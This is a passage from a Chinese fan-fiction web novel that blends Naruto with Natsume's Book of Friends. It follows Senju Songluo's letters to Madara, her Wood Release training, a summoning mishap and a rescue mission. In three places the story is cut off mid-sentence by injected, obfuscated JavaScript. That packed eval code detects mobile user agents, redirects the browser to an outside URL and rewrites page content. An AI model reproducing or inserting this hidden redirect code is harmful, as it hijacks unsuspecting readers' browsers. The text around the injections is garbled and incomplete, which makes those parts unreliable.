见松萝一直盯着他不放,猫咪老师最终还是挑了一个最小的红糖团子给她。 “只能吃一个。”这已经是他最后的妥协了。 如所料一般美味,甜而不腻。松萝有点羡慕斑了,他家那边有那么多好吃的甜品吗,千手这边就没有… 她又将目光投向放在地上的包袱。 ——我不能出门…如果我写信给斑,能不能让他买点?一份给跑腿的猫咪老师,一份给我… 她笑了起来,仿佛看到了光明的未来。 她走出去喊扉间:“二哥~有没有纸笔啊~” 这是给斑的第一封信,也是松萝第一次给人写信: 【致斑: 我是松萝。毛领子我收到了。 前天我大哥带我去赌坊的事情被父亲发现了,大哥被打了一顿,而我被禁足了一个月。(明明我是无辜的!) 接下来这件事呢也不是很重要,就是猫咪老师带回来很多甜品,你能不能帮我买一些让猫咪老师带回来? 禁足好可怜的(>_<> 以下是不太重要的参考: 猫咪老师喜欢豆沙馅的,热乎乎的包子最好,馅饼也行,但是他说馅饼的话一次性吃不下太多,冷了就不好吃了。还有如果是丸子的话要不黏牙的那种,糖汁越多越好。 如果猫咪老师想要喝酒的话千万不要给他! 我喜欢吃甜而不腻的,柿子、橘子、南瓜、芋头馅的就不错,还有酸酸的梅子馅我也喜欢。要是有奶香豆腐就更好了。团子的糖汁要红糖的,团子要青团。想吃裹了糖汁的拉丝年糕,但是到我这肯定凉透了。甘蔗汁不方便携带就算了吧。 以上,我会想念你的,斑。】 第一次写信就写了五大张纸,松萝手都酸了,她把它们铺平放在桌上晾着。 正好猫咪老师吃饱了,慢慢踱步过来看她写的信。 看着看着,看到一行不给他酒的内容,他趁松萝不注意,用脚掌沾了墨,把那行字踩成一排黑点,然后满意地躺在了榻榻米上。 松萝回来发现这件事,拎起猫咪老师打了打他的屁股:“你干的好事!我的信啊!!” 好好的一张纸中间一列却是墨团,丑死了。 但她不想重写了,费时费力费墨,就这样把信折叠了起来交给猫咪老师。 7. 写信日常(2) * 斑在自己的卧房里盘坐着,手里捏着松萝的信,表情像是在忍笑。 “这是她写的?这字好丑,还有好多错别字哈哈哈哈哈。” 笑够了之后,他拿起跟信一起送来的钱揣到怀里出门了。 ——这么多要求,也不知道他能找到几份满足她要求的甜食,真是麻烦。 * “你说什么,他说我的字写的丑?!啊啊我生气了!” 猫咪老师带着一大包甜品回来,第一句话就毫不犹豫地把斑给卖了。 “不止,他还说你全是错字呢,他也写了封信让我带给你。”给完信,他就去扒拉自己的那份跑腿费了。 斑的字确实写得很好,强弱有度,潇洒自如,这手漂亮的字令松萝嫉妒了起来。 松萝: 只有梅子馅的包子和青团。 附:错字集 枕(误)—柿,陷(误)—馅…… 松萝差点没忍住撕了这破回信,除了前面两列,后面全都是在纠正她的错字! 她都能想象得到斑嘲笑她的表情了,太羞耻了,她的脸红得能滴血了。 不吃甜品了,她决定先回信。 斑: 谢谢甜品。 附: 要你管!(╯°□°)╯︵ ┻━┻【刀子】【刀子】 然后塞给猫咪老师。 “又来一封?我才刚回来,明天再去!等我把今日份的吃完了再说…真是吃不腻的美味,豆沙包啊。” * 泉奈又看见大哥的通灵兽了,这两天他天天能看到。 这次只有薄薄的一张纸和几句话,但很好地表现了字迹主人的心情。 斑笑出声,那家伙肯定咬牙切齿,脸红耳朵红了吧。 “哈哈哈哈哈哈!” 泉奈在院子里挥刀的手停顿了一下,大哥也有笑得这么开怀的时候? * 连着吃了一周甜食之后,松萝数了数自己的小金库,有点遗憾。她还没腻呢,小金库先撑不住了。 猫咪老师照例踱步过来找松萝要钱,虽然她不是天天写信,但每天都会给他买甜食的钱,然后他再跑去交给斑来买,而今天他却听到松萝说:“不吃了,从今天开始不吃了。” “真的不吃了吗?”猫咪·斑怀疑地看着她纠结的表情。 “天天吃你不腻吗?” 猫咪老师不服地打滚:“不腻,我就要吃就要吃,天天都想吃豆沙包!” 松萝捂了捂心口,她也想吃啊,可是:“没钱了。” 她将瘪掉的钱包展示给他看,猫咪老师终于停止了打滚,他眼珠子一眯,从窗口跑了出去。 “哎,老师!你别离家出走啊,大不了吃家里的肉包和咸菜包子嘛!肉包子也很好吃啊!” 猫咪老师不是离家出走,他按熟悉的路线找到斑,伸出爪子,肉球朝上。 斑打量了他一下,没有信,这又是做什么? “给钱。” 斑:“什么钱?” “松萝想吃甜品但是没钱了。所以你给钱。” 连吃那么多天是该没钱了,但那与他有什么关系,他问:“她没钱了,为什么要我来掏腰包?” 猫咪老师瞳孔一缩,他开始怀疑自己的判断了,他问:“你俩关系不是很好吗?” 斑答:“一般般。” 猫猫疑惑,你俩那瞒着家里人偷偷见面还交换信件是一般般? 人类的感情可真复杂。 他追问:“你想象一下她明明想吃却吃不到的可怜巴巴的样子,你忍心吗?” 闻言,斑真的认真想象了一下,随即笑笑:“那不是挺有意思的吗?” 猫咪老师是真的不懂了,人类太复杂了。 “不过嘛…你跟我来。” 他跟着斑来到他的卧房,看他拿出一个熟悉的包装盒。 不用打开都知道,里面装的是跟前两天一样的甜食。 斑把盒子绑在他背上:“早上出门的时候习惯性地买了,你就给她带过去吧。” 猫咪·斑冷漠脸:……哦。 总之,结果上来看,甜食日日不断。 松萝的禁足结束的时候,还重了好几斤。 以及,在禁足结束的最后一天,柱间成为了木遁使。 并不是多么声势浩大的觉醒,就是在吃晚饭的时候柱间脑袋上突然冒出了蘑菇。 这就是被后世誉为忍界之神的踏出的朴素的第一步。 * 第二日,柱间和松萝便相约一起出门寻找木遁相关的典籍,虽然他们已经翻过很多遍了,但是万一呢。 正要出门时,她蹬蹬蹬跑回去,把扉间也拉上了,说:“我觉得看族里记载学习什么的,扉间那么聪明,一定能发现却更多,所以我们不如一起吧,三个人一起。” 柱间爽朗一笑,赞同这个想法。 族中典籍由一位叫里老的长老看管,他看到三个孩子牵着手来到他面前时,笑呵呵地说了句“你们感情真好”,然后将一本没有封面的泛黄的古书交给了他们。 “只能在这里看,不能带走。” 他们找了个角落一起看。 书上说,几百年前族里曾经出现过一位木遁使,他为人建造木屋,修筑大坝,植树造林,甚至帮助农民犁田耕作,深受民众的喜爱。当时还有一个邪恶的强盗带着他的手下杀伤抢掠,这位木遁使为了保护人民,最终与强盗和他的手下同归于尽。 然后,就没了。 松萝:“怎么就讲了个故事啊,怎么没有忍术记载还有怎么开发木遁的介绍啊?” 柱间也说:“怪不得父亲说,还是要靠自己开发。” “好吧。” 阅读完毕,毫无收获的三人回到了自家院子里的小型训练场。 现在去族里的训练场,大哥肯定会被围观,还不如在自己家里舒服、自由。 出去一趟没有收获,扉间想了想:“还是先练练木分身还有木锭壁,这两个基础的…” 话还没说完,眼前的两个人瞬间变成了四个人,四周木头做的高墙嵩起。 四个脑袋歪了歪看着他,如出一辙的憨。 扉间气笑,他上去揉乱松萝的头发:“平常怎么没见你这么聪明呢?”大哥这么快能掌握他倒是不稀奇。 “算了你们俩先自己琢磨吧,我再去问问父亲。” 松萝解除分身和木锭壁问:“大哥,现在怎么办?” 柱间托腮思考了一会儿,接着眼睛一亮,回房抓了一把不知道什么的东西。 “看我的。” 芝麻粒大小的东西在他手里破芽,生长,叶茂,开花,结果,最后一个滚圆的西瓜被他抱在怀里。 松萝:哦嚯,大哥牛逼! “我也要玩!” 她挑了别的种子,然后催生出来一片葡萄藤。 晶莹剔透的绿葡萄挂在上面,他们忍不住摘下一颗送到嘴里,又酸又甜的味道在嘴里绽开。 松萝感叹:“木遁真是个好东西。” 一回生二回熟,他们干脆把家里所有的种子都催生了一遍,什么油菜啊,南瓜啊,丝瓜啊,橘子啊,柿子啊堆了半个院子,分类摆好。 “啊,没种子了。” 松萝忽然想起古书上的记载,对柱间说:“大哥,书上说以前的木遁使还能建造木屋呢!” 柱间摇头:“不行啊,不知道房子结构的话造不出来啊,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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然后爸爸知道我去卖东西觉得我可怜,给了我一个超级超级大的红包,不过大哥却被打了一顿(?)反正他经常被打,我都习惯了。 还有就是我(秘密)还有大哥(秘密)。 总之今天是个好日子。 第二天早上收到许久未见的信,斑盯着倒数第二句话来回看了三遍,确定他没看错,最后眼里充满了无奈:“既然全是秘密就不用写上去了啊!” 不过他还是立刻回信恭喜她重获自由以及财富,最后问她:什么时候能出来聚一聚? 写完最后一句觉得不满意,又换了一张纸改为:“庆祝你解除禁足我请你吃团子。” 想了想还是不满意,他经常有送团子过去的,作为庆祝好像缺少点新意,还是改为别的吧,冬日吃羊肉汤倒是不错,他认得有一家还不错的老店。 等到再次落笔的时候,斑突然反应过来,那家羊肉汤店不止他一个人认识,很多族里的人也会去,带她去不太合适… 最后他写道:明日午时南贺川见。 ——他打包带着羊肉汤过去总行吧。 * 然而,松萝和柱间开始了他们的特训,鉴于昨天下午发生了一个不注意他俩就偷懒跑掉了的事情,从这日开始,佛间亲自盯着他们,从早到晚。 在南贺川,用火遁给羊肉汤保温的斑没有看到想见的人,而是等来了一只肥硕的猫。 猫咪老师落地抖了抖,把头顶的杂草甩下去,道:“她来不了了。” 然后他问到一股极香的味道,顺着味道来源看到了斑手中的羊肉汤,并开心地扑了上去。 “好香,你小子带了什么东西这么香,给老夫尝一口。” 斑面无表情地后退了几步。 猫咪老师冷哼:“小气什么?你带过来不就是要给松萝吃的,她来不了,就由我帮她尝尝味道啊~~” 斑也冷哼,哼得比猫更大声:“谁说是给她带的,我自己吃。” 说完,他就地坐下,拿出筷子吃了起来,狼吞虎咽, 猫咪老师:……你给我等着! 8. 通灵兽事件 自那之后,松萝就忙了起来。 每日一大早被叫起来修行,跑步,手里剑自是少不了的,更多的是她要跟柱间上同样的来自魔鬼教练——佛间的忍术指导课。 虽然佛间指导不了他们木遁,但是体术和土遁,他可是极为擅长。 “啊!”松萝又一次抚着自己被踢到的小腿肚,颤颤巍巍地拉开与佛间之间的距离。 佛间收回手脚,站稳。 “换柱间。” 晚上扉间会拿着药膏来找她,涂开药的同时顺便帮她揉一揉青紫的地方。 他的手法很好,不疼反而热热的很舒服,松萝往往会在他的按摩中睡过去。 有时想起好久没给斑写信了,结果才刚摆好纸,就抱着笔就倒了下去,诸如此类,她就是有闲心思考别的也没有精力可以分出去。 等到第二天就开启新一轮的挨打。 反反复复。 同时跨入训练场的松萝和柱间对视一眼:唉,这日子什么时候才是个头啊… 救世主在三个月后姗姗来迟。那是一封来自漩涡一族的信件。 就像宇智波一族与羽衣一族交好一样,千手跟漩涡一族不但是盟友,也是远亲。 信件里说最近从火之国边缘开始往中心无差别失踪的事件越来越多,漩涡一族也去有三个人不见了,信中一方面提醒千手要注意安全,一方面也是希望他们能够调查一下。 接到这个信件之后,佛间身为族长就忙碌了起来,松萝和柱间重获自由。 解放的柱间说的第一句话就是:“松萝,去不去赌坊玩儿?” 被正好路过的扉间听到没收了零花钱,留他一个人在原地种蘑菇。扉间把松萝拖走,语重心长地说:“最近有传言经常有人失踪,你少跟大哥那个不靠谱的出门。” * 尽管外部的失踪事件传得沸沸扬扬的,千手族地里一如往常。 此时刚入夏,开始热了起来,躺在廊下的松萝撸着猫心想好久没有跟斑联系了,虽然结束了特训,但她还是出不去,不如… “老师,你帮我带封信给…吧,顺便再买点豆沙包。” 猫咪老师翻了个面让她顺毛,但却拒绝:“不去。” 松萝觉得不对劲,在甜食的诱惑下,送信这事儿猫咪老师一向比她还积极,那么真相只有一个:“你跟他吵架了?” 猫咪老师心道“你才发现”,却连眼皮都没抬。 松萝觉得好笑,想替斑美言几句修复他们的关系:“老师,你别跟他计较呀,虽然斑小心眼,毒舌,小气鬼,不会读空气,爱扎人心窝子,见不得别人好……” 她的声音逐渐小下来,她明明是想夸斑的,但不可否认,刚刚说的全是缺点。 为了弥补刚刚的失误,这次她大声喊出了斑的长处:“但是他会打架!”在她知道的同龄人里绝对是数一数二的那种。 猫咪老师翻了个白眼:“跟你那缺心眼大哥一样会打架。” 松萝:“……我怎么觉得你在骂人呢,还不止骂了一个?” 猫咪老师:“自信点,我就是在骂那个小兔崽子。” 松萝惊恐:“不可以啊,你可是老师,不能说脏话的!” 猫咪老师:……早知道换个“老大”之类的称呼了。 这时,敲门声突然响了起来,伴随着桃华的声音:“松萝,到时间了,来我家吧。” 她差点忘了,今天对桃华来说是个重要的日子。 千手桃华即将在今天正式与通灵兽中的忍狼一族签订契约。 这个时代的忍者想要有自己的通灵兽不是那么容易的事情。通常大一点的忍族会有代代交好并与之契约的通灵兽,但只有通过族内考核的优秀的忍者才有机会签订契约,比如宇智波一族的忍猫,犬冢一族的忍犬。 遗憾的是,千手并没有这类通灵兽,因为他们体质异于常人,就是十二三岁的小姑娘也是力能扛鼎的存在,即使没有通灵兽在战斗中照样不落下风。 而另外一种,则是自己去寻找心仪的忍兽。 这种就比较玄学了。 运气好点,遇到在外散步的忍兽瞧对眼了说不定能签约,或者遇到有契约卷轴的忍者或者商人,这里的商人,是指专门贩卖忍具一类的商人,通常是没有家族的自由忍者去战场捡漏然后把东西拿出来交易。 千手桃华就是在一次外出中与一只忍狼相见恨晚,今天那只忍狼带着签约卷轴来找她。松萝听说这件事,强烈暗示想要围观的愿望,因此桃华才在这个时候来叫她。 “来了来了!”松萝赶紧穿上鞋子,蹦蹦跳跳去开门。门一打开才发现是桃华的分身,而且已经解除了。 ——不止她一个人想要围观,她应该是同时去叫别的小伙伴了,分身术就是这么便利。 千手桃华家就在隔壁,因此松萝是最早到达的。 她一眼就看到了桃华身边跟她几乎一样高的黄灰色毛的忍狼,足长体瘦,长尾平翘,双耳直立,听到动静,那双金色的眼睛立刻锁定了她,但并不带什么恶意。 高大的黄灰色忍狼背山上还有一只灰白色的等比例缩小版的小狼,小狼身上则背着一卷跟他一样大的绿色卷轴。 对上那双金色眼睛,松萝莫名就感受到了一股压迫感,走路的步子都小了很多。 桃华看着她的动作忍不住笑了一下:“你也有怕的时候啊,赶紧过来吧,山樱不会伤害你的。” 桃华跟柱间同岁,身量却比柱间还高,额前一抹斜刘海,长发用一根绳子绑在头顶,穿着白色的练功服,自带一股英气。 松萝挪到她面前,打招呼:“她叫山樱呀,你们的名字好配啊!” “樱与桃么,确实挺配。”忍狼开口附和,她对这个小姑娘的第一印象瞬间好了许多。 用第一句话拉近了距离,接下来的聊天就容易许多。 山樱虽然长得跟成年狼体型差不多,实际上还是个只有一岁的母狼宝宝,她在外面不小心踏入陷阱,是路过的桃华救了她,再加上桃华又美又飒又刻苦又有抱负,是她愿意一起战斗的女忍者类型。 聊了没一会儿,桃华家的院子里又多了五六个同龄孩子,都是有空并且想来看通灵兽签约过程的。 这过程说简单也很简单,只需将契约者的名字写在卷轴上即可,加上已经得到山樱的认可,桃华不需要再经过考验。 只见山樱背上的小狼解下背上的卷轴,平铺在地上,右侧还能看见几个其他契约者的名字。 桃华咬破手指,用鲜血将自己的名字写在了空白的一栏里,这样,契约就成立了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735034|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“就这样吗?”围观的人发出了看不够的感想。 于是桃华当场就结印,亥,戌,酉,申,未,然后将手覆在地面,一阵白烟过后,三头毛色不同的忍狼出现在原地。 “哇!!这头黑狼头顶的疤好酷啊!” “白狼太美了,我能摸摸吗?” “我觉得中间灰色的的才是大有来头,你看他还系着白色抹额呢!” 现场的人立刻哇咔咔叫了起来,这实在是太酷了太拉风了,连一向稳重的桃华也弯了弯嘴角。 松萝又是觉得震撼又是觉得羡慕,哇哇叫着加入了rua狼大队中。 “桃华姐,你能不能跟他们说说,让我们也签订契约呗?” “是啊是啊,不管什么考核,我们都会认真去完成的!” 桃华正有此意,这之前也跟忍狼们商量过,她刚刚召唤出来的这三只就是有意愿想找个人类契约者的,至于满不满意,能不能通过他们的考察就不是她能控制的了。 听到这个好消息,每个人都使出浑身解数展示自己,一时间,手里剑乱飞,各色忍术齐放。 松萝:“选我,选我,看我的土牢,土分身,土锭壁,还有影子手里剑,嗖嗖!” 一时好奇跟过来看看的猫咪老师被乱飞的手里剑削掉了头顶的几簇毛,立马弓起身子全身炸毛,弹到松萝头顶,用肉掌扒拉她的眼皮,心情激动之下第一次在除松萝和斑以外的人面前说话:“我头顶的毛发没了,你赔我啊!!” 吓得松萝立刻抱他下来检查了一下,结果跟没掉毛一样,她松了口气:“根本看不出来嘛!” 眼见猫咪老师要发飙,她识相地先赔罪:“一盒柿饼。” “两盒。” 这一出也吸引了其他人的注意。 会说话的动物,那不就是忍兽?普通动物哪里会说人话。 于是乎,他们看着松萝的眼神就像看着一个脚踏两条船的渣女:你都有忍猫了干嘛还来跟我们竞争忍狼? 松萝努力辩解却没人相信,她急中生智,结印,咬破手指,往地上一按:“不信你们看!通灵术!” 忽然,院子中烟雾四起,如同有生命一般,在空中扭曲舞动,光影交错间飓风袭来。围墙轰然倒塌,木制的栅栏在巨大的冲击力下四分五裂,木屑如同锋利的碎片般在空中飞舞,伴随着砖石瓦砾四处散落,场面一片狼藉。 “怎么,怎么回事?” 烟雾渐渐散去,一个庞大的身影缓缓浮现。阳光下,他的鳞片犹如覆盖了一层细腻的霜花,每一片都闪烁着银白色的光泽,反射出令人目眩神迷的光芒。 鲜红的信子探出又缩回,金色的竖瞳深邃而清澈,巨大的蛇影笼罩了站在墙角的所有人。十个人都抱不开的粗壮身躯盘子院子中倒是有些逼仄了。 忍狼们最先反应过来,弓起背发出了低吼。 “嘶嘶” 大白蛇的瞳孔有一瞬间的涣散,环视一圈,最终定向众人所在之地。 低下头颅的时候,所有人屏住了呼吸。 当鲜红的信子就要抚过他们头顶时,巡逻队小队出现了。 “发生什么事了?” 最小的一个孩子跑到巡逻队身后:“是蛇!” 但是眼前,除了飞扬的尘土,再无他物。 9. 辉夜出云 大白蛇的消失就如他的出现一样突然。 当目击者们跟巡逻队叽叽喳喳地喊着“好厉害”“超级大的通灵兽”的时候,松萝心虚地往只剩半截的院墙移动。 她真的不知道怎么回事啊! 今天之前,她根本就都没有见过通灵兽! 松萝一言不发装深沉,跟他们的激动形成鲜明的对比。 突然,尖利的鹰啸声响起,半空中,三只灰鹰盘旋画圈。 这是族中紧急集合的信号,最高级的。 路边的大人嗖嗖地消失,六岁的千手秀无意识地拽住了松萝的衣角,小小的脸庞上显出不符合年纪的担忧:“又要打仗了吗?” 这个世界并不处于和平年代,大国群雄割据,小国夹缝生存,死于战争的人不在少数 就像上辈子被无数人追求的职业“猎人”一样,这里也有很特殊的一群人,那就是“忍者”。他们拥有强大的武力,被平民畏惧,却没有多少财和权。 他们以亲缘关系结成族群,以族群为名接受“雇佣”,只要钱给到位,几乎什么都做,也包括参与战争。 前两年是连续的大丰年,谷物和其他农作物都是大丰收,跟之前连续的旱年不同,只能靠着战争掠夺资源。 贵族们躺在金色的麦子上笑得合不拢嘴,无暇动那些“去哪个地方抢东西”的脑筋。 但是,长期的富庶也会让野心膨胀。 衣服被拉扯的力道更大了,千手秀的拳头越攥越紧。 安慰人的时候要笑着摸摸头。 松萝模仿着柱间的笑容弧度和摸头力道,拍了拍他的脑袋,跟大人粗糙的头发不一样,他的很是细滑,还带点棕色,就像新生的幼芽,总是要比老叶子浅上一些。 她轻轻一挥,空气有细微的光点汇聚。 随着她的手落下,这些光点逐渐凝聚成形,最终化作一朵精致的樱花。 花瓣呈现出淡淡的粉红色,边缘透着一丝柔和的白,仿佛是晨曦中的第一缕阳光。 她把它放在秀的拳头上,迎着他那双宛如小鹿般的眼睛说:“护身符。” * “你有别的任务。前几日调查了无差别失踪的人的行动轨迹,发现他们回家、行旅的路线都经过这个地方。” 结束集合回到家的千手佛间将她叫到书房,布置了单独的任务。 桌上铺开的地图的西北角放着一个红色的小旗帜。 这里好像是“神迹之墟”的附近? “大臣的女儿在送亲途中失踪了,也经过了此地。这是正式的委托书。” 他拿出一个小卷轴递给松萝。 “战事将近,我只能再多派一人与你前往,切记量力而行。” 等到发现另一个队友是学堂的文化课老师千手大树的时候,松萝立刻蔫了。 千手大树有着一张典型的方国字脸,轮廓分明,外表给人的第一印象就是可靠和严厉,被学生们称为“铁面大树”。不过有他的加入,正好弥补了松萝外出执行任务的经验不足。 出发之前,两人先计划了一番路线。 “你去过禺黎城吗?” 火之国的地区可以划分为一都三领七城,东北边坐落着国都,最为富足,辖地最广。 领主是古绅传承下来的,也就是老牌贵族,他们虽然地位和权势更高,私兵更多,但由于对金钱的依赖和缺少,不得不依附于大名。 城主通俗来讲就是大名的“家臣”,大名的身边的武士、侍将军在立功之后有可能被大名任命,接管一方城,但要听命于大名。 在数百年来的僵持、合作、吞并、分化下,火之国只剩下三大贵族的领地尚维持着贵族应有的体面。 而他们即将前往的地点属于禺黎城的辖地。 那里的城主原本是大名的武士。 城池一般用城墙围住,挖出护城河,城主、官员、乡绅、士兵皆住在内,是一地的经济文化中心。而城墙外则是大量的没有钱和资格住在城内的平民,集聚而居,逐渐形成村落。 禺黎城的城池不大,堪堪八万平米,倒是四周散乱的村落有不少。 “没去过。”松萝摇摇头。 “城墙周围有士兵巡逻,被看到了解释起来很花费时间,所以我们绕过这里,直接去‘神迹之墟’。”说到最后一个词的时候,大树意味深长地看了松萝一眼。 两年前千手柱间还没有觉醒木遁,是谁做的一目了然。 那里原本是最贫瘠的地方,自然也远离城堡。 因为绕了点远路,他们花了两日才赶到那里。不过跟想象中有些出入。 本来以为这里好不容易被松萝改造成了植被繁茂、农作物丰收的地方,应该会是一派欣欣向荣的样子。 但是,眼前比之前还要糟糕。 龟裂的土地上,偶尔有黑色的虫子钻出地面,动动触角,感受到太阳的照射后,又迅速缩回地下。 在一些腐烂的植物残骸中,可以看到白色的蛆虫在蠕动。 走了百余步,看见了一具干尸和一具白骨,一只只巨大的蜘蛛在躯干间织网,网中挂着尚未完全消化的昆虫残骸。 竟是一点活人和生机都不见! “大树老师,这……我们是不是走错地方了?” 千手大树比她更震惊:“没想到,掠夺的人性,竟至于此。” 见松萝沉默,大树多解释了一句:“你就当是一群饿狼中间出现一头肥羊的下场吧。” 想了想,又怕她自责,话变多了起来:“并不是羊的出现的错哦,这是因为缺少保护它的牧羊犬,才被贪心的狼给瓜分吃掉了……” “我们还是先找人打听一下有没有失踪的传闻吧,这才是我们的目的。” 又走了一段路,他们终于看到几座茅草屋,以及堵在屋门口的士兵。 “等等等,都等了一个月了,今天要是交不出税金就把你的左耳砍了,明天叫不出来就砍左手,后天交不出来再砍……” 一个小眼睛的矮男人还举着刀恐吓茅草屋里的老年夫妻,他旁边的同伴摸了摸喷到脸上的东西,发现是血后慌张地大叫了起来。 “啊,啊,喂,你的耳朵,不,你的左手,啊,都没了,血都是血……” “你大叫什么!没看见我在干正事吗!”他突然觉得耳朵那边有点热热的,正要抬手,发现自己的左手从腕部被整齐切断,正库库往外冒血。 “啊啊啊啊啊啊啊啊!我的手!我的手!” 松萝的嘴角上扬,脸颊的肌肉微微抖动,仿佛在努力维持这个弧度。 千手大树皱眉看着缩回松萝身后的绿色“触手”们,忽然觉得她的笑容有点假。 他上前打晕两个士兵,对那个流血不止的人也没帮他包扎,随他躺在地上。 屋里的夫妻虽然一开始被吓到了,但发现是在替他们解围后逐渐镇定了下来。 “你们好,我们有亲人在这附近失去了消息,所以想问一下……” 千手大树上前探听,松萝则是看向最里面的那个草屋,最小最简陋。 她不顾大树阻止的眼神,到那个草屋前敲了敲门。 很快,有人开门。 来人身材瘦削,看上去也只有十五六岁,宽大的衣服随风而动,俊朗的脸色苍白但有血色,白色的短发修剪的很整齐,眉毛很是特别,圆圆的两点,像是在防具店见过的柴犬。 他伸出骨节分明的手,朝松萝拜了拜,礼貌而优雅。 松萝:?这是这里的打招呼方式吗? 她模仿着拜回去,却被他避开了。 “谢谢你,之前救了我。” 声音清朗悦耳,如同山涧清泉。 松萝瞪大眼睛,把上辈子的十年也一起想了一遍,就是没想起来在哪里见过这人。 细数她跟“爸爸”通过契约离开黑暗大陆,在象牙塔里的十年,再加穿越到忍者世界的五年,总共也没认识太多的人。 “我在这里等您很久了。”他突然跪下来,从怀里掏出一把一把白色的匕首,举过头顶,“辉夜出云, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735035|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我能跟着您吗?” 白色的匕首在太阳下反射出柔和的光芒,似乎也在诉说着它的主人的决心。 …… 回头看到多了一个人的千手大树动了动嘴唇,却不知道从何问起。 突然来一句“他想跟着我”就真的带上他的行为,千手松萝你是不是忘了自己正在执行任务啊! 他大步流星地走在前方,终于想到什么,回头怒视:“回去我会建议族长大人让你重新从忍者守则第一条学起的。” 松萝:“啊?” …… 他们正在前往的地方,也不知道能不能被称之为线索,但是听说是最近突然发现的,以前都没有。 松萝:“老师,我们要去哪里啊?” 大树:……刚刚我打听消息的时候你是完全没听是吧。 倒是走在最后的眯眯笑的辉夜出云在这里住了快两年,听说了一些:“大约半年前,前面的河流旁边突然出现了一个小神社,最初很多人还说跟之前的神迹有关系,连城主也亲自来探过,都没有发现。” 他可是一经过此地,看到那些不合理的一人高的植物的时候就感受到了——那是跟救他的人一样的气息。 所以他才会在这里住下,为了等待,为了报恩。 那个时候,那根“草”,生白骨,肉血肌,确实是可以被称之为神迹。 当看到小小的鸟居的时候,松萝脑海里不禁浮现出了类似的画面。 等她走进去看到被一颗榕木劈开的主殿的时候,露出了“果然”的神色。 “嗯……” 大树开始四处查看,松萝看看完好的注连绳,想要弄断的心蠢蠢欲动——这次会不会出来一只虎斑猫! 她这么想的同时,也直接上手了。 稻草编就的绳子在骨匕——刚刚出云给的那把——的作用下瞬间断裂,烟雾如期而至。 松萝闪着星星眼,紧盯烟雾。 千手大树反应过来,拉着她后退;出云在前方弓身,摆出防御姿势。 烟雾逐渐散去,星星眼也熄灭了。 男人女人、男孩女孩的身影显现,他们的服装各异,但脸上的表情却惊人地一致——那是一种劫后余生般的惊喜。 每个人的眼神里都充满了难以置信的光芒,仿佛刚刚经历了一场不可思议的梦境。他们有的仍跪在地上,有的则趴在地上,用手支撑着身体,缓缓地坐起来。所有人都互相看着彼此,脸上露出了不敢相信的笑容,仿佛在确认这一切并不是幻觉。 一个衣服精致的,面色憔悴的少女率先打破了沉默,她笑着跳了起来:“我们出来了!” 她的声音像是触发了一个开关,紧接着,周围的人们也开始慢慢地站起来,相互拥抱,分享着劫后余生的喜悦。 松萝拿出任务卷轴,比对了一下画像,确定人群中服装精致的少女就是他们要找的人,遂对大树点了点头。 大树上前:“堇姬君,您的父亲托我们寻找您……” “我想回家了,我不要去那个嫁去那个什么风之国了!你送我回去,我父亲会给你报酬的!” “原来是千手的忍者救了我们,真的太谢谢您了。” “终于从那个什么都没有的空间出来了,我已经被关了十五天了,要不是姬君给的粮食……” “……” 松萝趁机绕到榕树后,摸出一个红色的东西揣进了怀里。 大树应付了一下众人,答应送堇姬君回家,随后注意到有个男人一直趴在地上没起来,便问了一嘴。 堇随口说道:“他想对我不轨,我就让我的护卫揍了他一顿。” 她回忆了一下,又吐吐舌头:“不过他好像三天没爬起来了,也有可能是四天?谁知道呢?” 她听上去完全不在意那人的死活。 出云走上前探了探他的呼吸,对着大家摇了摇头。 果然是死了。 姬君惨白着脸,站在护卫中间,“哼”了一声,小声嘀咕:“死有余辜。” 10. 千手家的冷战开始了 谁也没想到解决任务只用了两天半,送姬君回都城却花了近一个月。 非清泉不饮、非软轿不乘、非旅馆不宿……这些只是她众多苛求中的冰山一角,令众人叫苦不迭。 每当队伍经过一处风景秀丽之地,堇姬君便会要求停下欣赏;遇到集市上有新奇的小玩意儿,她定要买下来把玩;偶尔见到路旁有表演杂耍之人,她也不怕耽搁了行程一定要看完。 更让人头疼的是,姬君见到任何美男子都会犯起花痴来,哪怕是路遇的一名寻常书生,她也会命人上前搭话,有时甚至会邀请他们一同前行数里,直到她觉得厌倦了为止。 还有将卖身葬父的女孩买下当作侍女、路见不平拔刀相助、参加擂台比武招婿…… 一个月走下来,松萝被折磨得够呛,在都城城门口分别之时,姬君眼泪汪汪地抱着她:“小萝儿,这个月是我这辈子最开心的时候了,以后你一定要替我过得快乐些。” 松萝再三保证自己一定会过得自由快乐,她才放开,在护卫和新收的侍女的簇拥下离去。 望着姬君的背影,千手大树才露出一些伤感:“大名没有女儿,堇姬的父亲是右大臣,而她是唯一适龄的女子,才在前些日子被封为了‘菡萏姬’,因为她出生于菡萏舒卷的盛夏。” “适龄?”松萝并不讨厌堇,“我记得你提过,她要嫁的那人已经三十九了,而堇还未到十五。” “这便是被尊为姬君的代价了。她最终还是没有办法逃避的。就像哪怕她一拖再拖,回都城的路也还是走完了一样。” “那先生娶她不就行了?” 